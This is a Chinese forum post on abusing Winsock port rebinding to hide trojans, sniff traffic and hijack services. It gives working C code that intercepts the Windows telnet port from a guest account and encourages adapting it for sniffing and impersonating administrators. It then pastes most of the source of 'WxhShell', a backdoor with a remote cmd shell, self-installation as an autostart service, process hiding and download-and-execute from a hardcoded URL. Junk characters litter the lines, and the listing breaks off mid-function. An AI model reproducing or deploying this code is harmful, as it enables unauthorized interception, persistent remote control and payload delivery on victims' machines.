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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .wD $Bsm`t  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e`s1z|h  
&hO-6(^I  
  saddr.sin_family = AF_INET; `hZh}K^  
9xO@_pkX  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); M2|!,2  
H7GI`3o  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ZX` \so,&,  
[B# XA}w  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9zb1t1[ W  
mmbe.$73  
  这意味着什么?意味着可以进行如下的攻击: )\#*~73  
h@Ea5x  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 mpug#i6q  
NX,m6u  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) v>#Njgo  
`VKFA<T  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 b9RHsr]V  
)gEE7Ex?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   C3{hf  
?a3 wBy  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 aL4^ po  
rP3tFvOH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xy7A^7Li  
*: @KpYWx"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n82tZpn  
zPa2fS8  
  #include ~c35Y9-5  
  #include "t&=~eOe3  
  #include -0d9,,c  
  #include    <7VLUk}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   xeSch?}  
  int main() W|m(Jh[w]  
  { 46}U +>  
  WORD wVersionRequested; AQUAQZc  
  DWORD ret; BV B2$&eJ  
  WSADATA wsaData; x[)-h/&Fh  
  BOOL val; RJ'[m~yl5X  
  SOCKADDR_IN saddr; nsR CDUCi  
  SOCKADDR_IN scaddr; xqzeBLU  
  int err; .DhI3'Jrl  
  SOCKET s; l.o/H|  
  SOCKET sc; 1~c\J0h)d  
  int caddsize; Dj(PH3^  
  HANDLE mt; bRxI7 '  
  DWORD tid;   Ze~P6  
  wVersionRequested = MAKEWORD( 2, 2 ); PGJh>[ s  
  err = WSAStartup( wVersionRequested, &wsaData ); 0[l}@K?  
  if ( err != 0 ) { xrPZy*Y,  
  printf("error!WSAStartup failed!\n"); VGc*aQYa  
  return -1; N!(mM;1X)  
  } o>r P\  
  saddr.sin_family = AF_INET; %xlpOR4  
   ] #@:VR  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %NrH\v{7Q  
?.SGn[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b!]O]dk#  
  saddr.sin_port = htons(23); v:P]o9Oj8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +d6onO{8  
  { X\h.@+f=  
  printf("error!socket failed!\n"); |@X^_L.!  
  return -1; %]_: \!  
  } 7H Dc]&z  
  val = TRUE; Ojc Tu  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 + +}!Gfc?s  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }QCnN2bV  
  { @& }}tALi  
  printf("error!setsockopt failed!\n"); 09-8Xzz  
  return -1; Wlhh0uy  
  } >K9Ia4I,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; SA +d4P_T  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +c))fPuV  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O`~#X w  
OJcS%-~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) YRlfU5  
  { KEOk%'c,  
  ret=GetLastError(); r E+B}O  
  printf("error!bind failed!\n"); qLmzA@Cv  
  return -1; m !*F5x  
  } BYq80Vk%@  
  listen(s,2); mKZzSd)p  
  while(1) i<"lXu  
  { 1,wcf,  
  caddsize = sizeof(scaddr); ddfGR/1X  
  //接受连接请求 e_=K0fFz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @ wR3L:@  
  if(sc!=INVALID_SOCKET) *6/IO&y1a  
  { ab2FK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]bY|>q  
  if(mt==NULL) e'K~WNT  
  { MT-Tt  
  printf("Thread Creat Failed!\n"); L]kBY2c  
  break; |Mb{0mKb  
  } dEJqgp}\p  
  } {$^'oRk  
  CloseHandle(mt); ^O_Z5NbC3  
  } spV7\Gs.@  
  closesocket(s); msmW2Zc  
  WSACleanup(); |T|m5V'l  
  return 0; mXRkR.zu+  
  }   4-yK!LR  
  DWORD WINAPI ClientThread(LPVOID lpParam) CVfV    
  { e34>q:#5l  
  SOCKET ss = (SOCKET)lpParam; ZM.'W}J{ *  
  SOCKET sc; Z=]SAK`  
  unsigned char buf[4096]; RsZj  
  SOCKADDR_IN saddr; sUG!dwqqd  
  long num; Y :!L  
  DWORD val; 2`4m"DtA  
  DWORD ret; FgH7YkKrD  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [[$C tqLg  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;:6\w!fc  
  saddr.sin_family = AF_INET; \V>5)R n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); N{v)pu.  
  saddr.sin_port = htons(23); 0nb%+],pX  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TF8#I28AD  
  { ^p3 GT6  
  printf("error!socket failed!\n"); j9+4},>>CU  
  return -1; B->AY.&j  
  } fQfn7FaW_\  
  val = 100; (.4lsKN<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Tvx1+0Z%z  
  { wo@ T@Ve~  
  ret = GetLastError(); OD8 fn  
  return -1; aFTWzz  
  } QF>T)1&J[7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &*v\t\]  
  { UMGiJO\yH  
  ret = GetLastError(); 7zG r+Px  
  return -1; ]*=4>(F[  
  } gA2Wo+\^bq  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) MKBDWLCB  
  { c2P}P* _  
  printf("error!socket connect failed!\n"); JXc.?{LL  
  closesocket(sc); 3uuIISK  
  closesocket(ss); m{Q #f\<  
  return -1; ;xwcK-A  
  } X!]v4ma`  
  while(1) 9nG^_.}|  
  { `==l 2AX  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 XO <0;9|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h5P_kZJ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y\skke]  
  num = recv(ss,buf,4096,0); "8f4s|@ 3  
  if(num>0) yNvAT>H  
  send(sc,buf,num,0); WE) *~5  
  else if(num==0) *~^63Nx!  
  break; 0>{ ]*  
  num = recv(sc,buf,4096,0); ?h}NL5a  
  if(num>0)  i;O_B5 d  
  send(ss,buf,num,0); 0i*V?  
  else if(num==0) r)^sHpK:`  
  break; : B^"V\WE  
  } |&#N&t  
  closesocket(ss); q94;x|63  
  closesocket(sc); ;%e)t[5  
  return 0 ; 4LTm&+(5  
  } %,T*[d&i  
B\Nbt!Ps  
'7?Y+R@|L  
========================================================== x%EGxs;>^  
:r*hY$v  
下边附上一个代码,,WXhSHELL Fl`U{03  
8US#SI'x  
========================================================== GLf!i1Z  
t%}<S~"  
#include "stdafx.h" G[k3`  
9#z$GO|<  
#include <stdio.h> ~F,~^r!Jtu  
#include <string.h> aKj|gwo!  
#include <windows.h> u9"=t  
#include <winsock2.h> 7P<VtS  
#include <winsvc.h> h&'|^;FM  
#include <urlmon.h> O*~,L6# }  
&ksuk9M  
#pragma comment (lib, "Ws2_32.lib") Pe@# 6N`  
#pragma comment (lib, "urlmon.lib") Y9^l|,bm5  
&s".hP6  
#define MAX_USER   100 // 最大客户端连接数 zH]oAu=H  
#define BUF_SOCK   200 // sock buffer e0P[,e*0  
#define KEY_BUFF   255 // 输入 buffer ~(R=3  
5 bI :xL}  
#define REBOOT     0   // 重启 So 1TH%  
#define SHUTDOWN   1   // 关机 `58%&3lp  
Yz/Blh%V  
#define DEF_PORT   5000 // 监听端口 leC!Yj  
,`HweIq(  
#define REG_LEN     16   // 注册表键长度 R #wZW&N  
#define SVC_LEN     80   // NT服务名长度 n#">k%bD  
R%jOgZG  
// 从dll定义API [D~]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j}uL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I-R7+o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -qP)L;n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0"R>:f}  
DsMo_m/"1  
// wxhshell配置信息 H7+"BWc  
struct WSCFG { nqy*>X`  
  int ws_port;         // 监听端口 M_E,pg=rWI  
  char ws_passstr[REG_LEN]; // 口令 D>5)',D8xi  
  int ws_autoins;       // 安装标记, 1=yes 0=no z206fF  
  char ws_regname[REG_LEN]; // 注册表键名 ia5%  
  char ws_svcname[REG_LEN]; // 服务名 vqeH<$WHvy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W:i Q& [f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h?xgOb!4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p7|I>8ur.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )k(K/m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X~r9yl>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LACrg  
)-4c@  
}; Xe_ <]|  
D)PX|xrn  
// default Wxhshell configuration 3;v)f":[  
struct WSCFG wscfg={DEF_PORT, )E.AY  
    "xuhuanlingzhe", LQ~|VRRX<  
    1, 0 PYYG  
    "Wxhshell", dEk#"cvg  
    "Wxhshell", IS]A<}j/-  
            "WxhShell Service", HUx`RX0>  
    "Wrsky Windows CmdShell Service", b=EI?XwJ  
    "Please Input Your Password: ", ZH Q?{"  
  1, rnK]3Ust  
  "http://www.wrsky.com/wxhshell.exe", Wr[LC&  
  "Wxhshell.exe" xQ"uC!Gu4  
    }; !gkr?yhE  
A;d@NOI#,K  
// 消息定义模块 WHE<E rV%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NMkP#s7.y  
char *msg_ws_prompt="\n\r? for help\n\r#>";  qra XAQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8w:ay,=  
char *msg_ws_ext="\n\rExit."; Tr?p/9.m  
char *msg_ws_end="\n\rQuit."; g4^-B  
char *msg_ws_boot="\n\rReboot..."; 6,=Z4>  
char *msg_ws_poff="\n\rShutdown..."; GN|"RuQ  
char *msg_ws_down="\n\rSave to "; ) f~;P+  
}`w(sec:3  
char *msg_ws_err="\n\rErr!"; |m-N5$\IC  
char *msg_ws_ok="\n\rOK!"; *y4g\#o.  
OL\-SQ&  
char ExeFile[MAX_PATH]; A-r;5?S  
int nUser = 0; &oMEz 0  
HANDLE handles[MAX_USER]; i431mpMa  
int OsIsNt; #2^0z`-\_z  
F${sEtH  
SERVICE_STATUS       serviceStatus; :gsRJy1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |mH* I  
2Z{?3mAb;  
// 函数声明 ,WE2.MWR  
int Install(void); u{4P)DIQ  
int Uninstall(void); g"/n95k<  
int DownloadFile(char *sURL, SOCKET wsh); ->I.D?p  
int Boot(int flag); iFUiw&  
void HideProc(void); iM8Cw/DS  
int GetOsVer(void); uf?;;wg  
int Wxhshell(SOCKET wsl); sK%b16#  
void TalkWithClient(void *cs); __}SHU0R  
int CmdShell(SOCKET sock); r^Ra`:ca  
int StartFromService(void); gOg7:VPG  
int StartWxhshell(LPSTR lpCmdLine); CG%bZco((  
mPA)G,^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7FH-l(W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M %,\2!$  
q;9X8 _  
// 数据结构和表定义 p.:|Z-W$  
SERVICE_TABLE_ENTRY DispatchTable[] = RZxh"lIo  
{ I q|'#hs  
{wscfg.ws_svcname, NTServiceMain}, ,9y6:W%5  
{NULL, NULL} b,Eq-Z;  
}; zYM2`(Z 5B  
X8tPn_`x  
// 自我安装 h>V6}(~;.  
int Install(void) l=xG<)Okb  
{ c7+6[y DVE  
  char svExeFile[MAX_PATH]; 7NJl+*u  
  HKEY key; d>Tv?'o`q  
  strcpy(svExeFile,ExeFile); <7y/)b@  
o+x%q<e;c  
// 如果是win9x系统,修改注册表设为自启动 pS8\B  
if(!OsIsNt) { E#P#{_BR^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w#1BHx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4 6v C/  
  RegCloseKey(key); ">7xSWR*4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p@78Xmu?q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UG.:D';3,  
  RegCloseKey(key); v^eAQoFLhN  
  return 0; >C,0}lj  
    } rZ,qHM  
  } MZ%J ]Nd  
} i@:^b_  
else { -$!r+4|q  
 2l,>x  
// 如果是NT以上系统,安装为系统服务 P:g!~&Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \:h7,[e  
if (schSCManager!=0) &</)k|.A6\  
{ lfBCzxifC  
  SC_HANDLE schService = CreateService `0ZH=*P  
  ( 9L7z<ntn  
  schSCManager, X(Af`KOg[  
  wscfg.ws_svcname, 6Zpa[,gm  
  wscfg.ws_svcdisp, ot7f?tF2<J  
  SERVICE_ALL_ACCESS, to13&#o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !9gpuS[  
  SERVICE_AUTO_START, ^%*qe5J  
  SERVICE_ERROR_NORMAL, y a$yRsd`  
  svExeFile, yPfx!9B  
  NULL, vgc~%k62c  
  NULL, X,3"4 SK  
  NULL, pej-W/R&  
  NULL, (f"Qz~R|6_  
  NULL P [aE3Felk  
  ); '[6]W)f  
  if (schService!=0) :&5u)  
  { BUZ74  
  CloseServiceHandle(schService); [e,xC!2  
  CloseServiceHandle(schSCManager); \u.5 _ g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >? o5AdZ  
  strcat(svExeFile,wscfg.ws_svcname); ;PVE= z+y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yVzV]&k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &H+ wzx<  
  RegCloseKey(key); o?O ZsA  
  return 0; lLVD`)  
    } R;AcAJ;  
  } \>su97  
  CloseServiceHandle(schSCManager); ,ng/T**@G  
} PU ea`rE?R  
} ]l }v  
"LYhYkI  
return 1; 8;~,jZ s  
} W' Y<iA  
{B=64,D^7R  
// 自我卸载 YeJTB}  
int Uninstall(void) *} *HXE5  
{ ,PpVZq~  
  HKEY key; Y<^Or  
Up-^km  
if(!OsIsNt) { ?/}IDwuh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /  !h<+  
  RegDeleteValue(key,wscfg.ws_regname); pV<K=;:x>  
  RegCloseKey(key); ?`vGpi~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j}lne^ h  
  RegDeleteValue(key,wscfg.ws_regname); LP7jCt  
  RegCloseKey(key); Fu?_<G%Ynp  
  return 0; eOVln1a  
  } c9gm%  
} s'/_0  
} ;U0w<>4L  
else { J}Z\I Y,  
uYFy4E3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JWu0VLo  
if (schSCManager!=0) 0(5qVJ12  
{ XR=ebl  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5a6d3u/  
  if (schService!=0) {2xc/   
  { e}gGl<((g  
  if(DeleteService(schService)!=0) { (CDh,ZN;|  
  CloseServiceHandle(schService); =s AOWI,8!  
  CloseServiceHandle(schSCManager); Aa-OMo;~  
  return 0; Gf7r!Ur;g  
  } oeVI 6-_S  
  CloseServiceHandle(schService); 0<-A2O),  
  } |p/[sD+M  
  CloseServiceHandle(schSCManager); 9-# =xE9'U  
} ty;a!yjC  
} !K.)Qr9V  
@B)5Ho  
return 1; v*y,PY1*  
} O~Jf"Ht  
9;gy38.3  
// 从指定url下载文件 5[6{o$I  
int DownloadFile(char *sURL, SOCKET wsh) 4M$"0}O;[h  
{ Hm 0;[i  
  HRESULT hr; CW@EQ3y0  
char seps[]= "/"; {Y+e|B0  
char *token; aB&a#^5CI  
char *file; gW G>}M@  
char myURL[MAX_PATH]; \= 6dF,V  
char myFILE[MAX_PATH]; oj6=.   
)CH\]>-FO  
strcpy(myURL,sURL); ckdCd J  
  token=strtok(myURL,seps); dpdp0  
  while(token!=NULL) HlxgJw~<  
  { lE bV)&'  
    file=token; ZV/g_i #  
  token=strtok(NULL,seps); 9-Qu5L~  
  } Ta8lc %0w3  
% Q93n {?  
GetCurrentDirectory(MAX_PATH,myFILE); F6{Q1DqI  
strcat(myFILE, "\\"); 93)1  
strcat(myFILE, file); 9j5k=IXg#a  
  send(wsh,myFILE,strlen(myFILE),0); 2Zq_zvKUt  
send(wsh,"...",3,0); ;k1VY Ie}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #%CB`l  
  if(hr==S_OK) \!)1n[N  
return 0; ^x >R #.R  
else RLh%Y>w  
return 1; #FGj)pu  
3 lKBwjW  
} CTB qX  
30cb+)h(  
// 系统电源模块 "f!H[F1~  
int Boot(int flag) 0#sf,ja>  
{ bhjJH,%_>  
  HANDLE hToken; r*Z p-}  
  TOKEN_PRIVILEGES tkp; pr \OjpvD  
78'3&,+si  
  if(OsIsNt) { @oRo6Y<-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f2P2wt.$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n~yhX%=_Du  
    tkp.PrivilegeCount = 1; `g'9)Xf4KT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TwZmZE ?!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G{'`L)~3N  
if(flag==REBOOT) { NW*$+u%/R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q=498Y~x  
  return 0; ynq^ztBVe  
} l5Q-M{w0x  
else { d?GB#N|+g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Eye.#~  
  return 0; d r=h;[Q'  
} ?&XpwJw:~  
  } 8}OII\  
  else { >` |sBx  
if(flag==REBOOT) { 35#"]l"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]#O~lq  
  return 0; /kFw(l_.  
} T;Ra/H  
else { enQev?8%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $gcC}tX  
  return 0; YLNJ4nE  
} \BdQ(rm  
} nxx&aq(._  
N9AM% H$7  
return 1; s+ ]6X*)  
} HqKD]1  
tc<HA7vpt~  
// win9x进程隐藏模块 )cRP6 =  
void HideProc(void) 1NU@k6UHl  
{ }ILg_>uq[  
$s9YU"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :}~B;s0M\  
  if ( hKernel != NULL ) [G}l;  
  { k%sh ;1.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uRRp8hht  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $mDlS  
    FreeLibrary(hKernel); OO?BN!  
  } |D[4 G6&  
iJEKLv  
return; "D/\&1.&  
} sxn^1|O;m  
qa)Qf,`  
// 获取操作系统版本 l 1Ns~  
int GetOsVer(void) !Im{-t  
{ r=^?  
  OSVERSIONINFO winfo; J*r%b+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \XgpwvO".  
  GetVersionEx(&winfo); >0jg2vqt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  :)Z.!  
  return 1; b#{[Pk,w9  
  else )p+6yH  
  return 0; \m3ca-Y  
} 0r'<aA`=I  
aiwKkf`\  
// 客户端句柄模块 ~g|z7o  
int Wxhshell(SOCKET wsl) \~@a/J  
{ De:| T8&  
  SOCKET wsh; HF]|>1WV[  
  struct sockaddr_in client; q5ja \  
  DWORD myID; LRmH@-qP  
20k@!BNq  
  while(nUser<MAX_USER) S,2{^X  
{ A\};^Y  
  int nSize=sizeof(client); . KzU7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LIMPWw g  
  if(wsh==INVALID_SOCKET) return 1; GUdVsZjz(  
Jz6zJKcA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v?qU/  
if(handles[nUser]==0) T!Eyq,]  
  closesocket(wsh); "~ eF%}.  
else  `\#J&N  
  nUser++; ! 6: X]  
  } yM*f}S/ (  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rIZ^ix-N  
).9m6.%Uk  
  return 0; -jQM h  
} 4 .d~u@=  
V /,F6  
// 关闭 socket N3QDPQ  
void CloseIt(SOCKET wsh) f" g-Hbl5  
{ t7qY!S (  
closesocket(wsh); 8UN7(J  
nUser--; I`FqZw  
ExitThread(0); DE_ <LN  
} }2~$"L,_  
7C@%1kL  
// 客户端请求句柄 "3X~BdH&J  
void TalkWithClient(void *cs) KO5! (vi@  
{ k_hs g6Ur.  
Q"=$.M~  
  SOCKET wsh=(SOCKET)cs; a!H t81gj  
  char pwd[SVC_LEN]; [BzwQ 4  
  char cmd[KEY_BUFF]; YVS~|4hu?i  
char chr[1]; SdQ"S-H  
int i,j; !;s5\91  
t*{BN>B  
  while (nUser < MAX_USER) { r*XEne  
i*ErxWzu  
if(wscfg.ws_passstr) { aX{i   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g6~B|?!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'n4$dv% q  
  //ZeroMemory(pwd,KEY_BUFF); X4Y!Z/b  
      i=0; T?V!%AqY:  
  while(i<SVC_LEN) { t }q \.  
AI\|8[kf0  
  // 设置超时 we;QrS(Hi  
  fd_set FdRead; :o+&>z  
  struct timeval TimeOut; 19.oW49Sw  
  FD_ZERO(&FdRead); ;ro%Wjg`}  
  FD_SET(wsh,&FdRead); ?kKr/f4N  
  TimeOut.tv_sec=8; @<,YUp,%S  
  TimeOut.tv_usec=0; p`2w\P3;)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uKE?VNC]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EX9os  
|v31weD8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u[G`_Y{=EM  
  pwd=chr[0]; B #zU'G*Y  
  if(chr[0]==0xd || chr[0]==0xa) { MiB}10  
  pwd=0; ~gJJ@j 0n  
  break; g;G]Xi.B}  
  } Qvl3=[S  
  i++; 2{fPQQ;#  
    } iX\]-_D  
T99\R%  
  // 如果是非法用户,关闭 socket b!3Y<D*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {Jn*{5tZ>  
} vm Y*K  
1NQstmd{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JuTIP6 /G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hm*?<o9mxC  
O[O[E}8#  
while(1) { X4{O/G  
o1?bqVF;6  
  ZeroMemory(cmd,KEY_BUFF); 2GC{+*  
9qXKHro  
      // 自动支持客户端 telnet标准   }Z Nyd  
  j=0; ]p5]n*0X  
  while(j<KEY_BUFF) { h1+lVAQbT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5w$\x+no  
  cmd[j]=chr[0]; 0` \!O(jJ  
  if(chr[0]==0xa || chr[0]==0xd) { dAkJ5\=*  
  cmd[j]=0; 6< O|,7=_  
  break; 0JS#{EDh+  
  } O{w'i|  
  j++; gyf9D]W  
    } ? vr9l7VOi  
hX&Jq%{oa  
  // 下载文件 UK!PMkX  
  if(strstr(cmd,"http://")) { Z.rR)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g6p:1;Evf  
  if(DownloadFile(cmd,wsh)) n 0rAOkW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); '&42E[0P  
  else K! I]0!:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `@)>5gW&p  
  } 9~ JeI/  
  else { 7ts`uI<E@7  
oW\kJ>!  
    switch(cmd[0]) { xR`M#d5"  
  yHIZpU|(j  
  // 帮助 Zm+QhnY|  
  case '?': { tVFydN~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4<(U/58a*  
    break; `_Fxb@"R  
  } z3l(4WP  
  // 安装 LCouDk(=`  
  case 'i': { q9iHJ'lMD*  
    if(Install()) MQvk& AX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s !XJ   
    else <yxy ;o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -}$mv  
    break; a7Yz X5n  
    } {$fd?| 9h  
  // 卸载 l`k""f69W  
  case 'r': { (N 0kTi]b  
    if(Uninstall()) gof'NT\c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %&Q9WMo  
    else U+2U#v=<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tTcff9ee  
    break; ILyI%DA&  
    } q-|j =  
  // 显示 wxhshell 所在路径 =s5g9n+7  
  case 'p': { ;VW->i a6  
    char svExeFile[MAX_PATH]; nC2e^=^  
    strcpy(svExeFile,"\n\r"); &&$,BFY4  
      strcat(svExeFile,ExeFile); TcKt   
        send(wsh,svExeFile,strlen(svExeFile),0); PqVz ^(Wz  
    break; N6UPD11}6  
    } xN CU5  
  // 重启 uZhY)o*]@  
  case 'b': { cf`g.9pjlx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WkUV)/j  
    if(Boot(REBOOT)) B57MzIZi]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #WqpU.  
    else { 5R}K8"d  
    closesocket(wsh); m]D3ec\K'  
    ExitThread(0); T;`2t;  
    } 9^<Y~rkm  
    break; 5zi}O GtXv  
    } V N<omi+4  
  // 关机 B+r$_L&I  
  case 'd': { VAnP3:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $LOwuvu>  
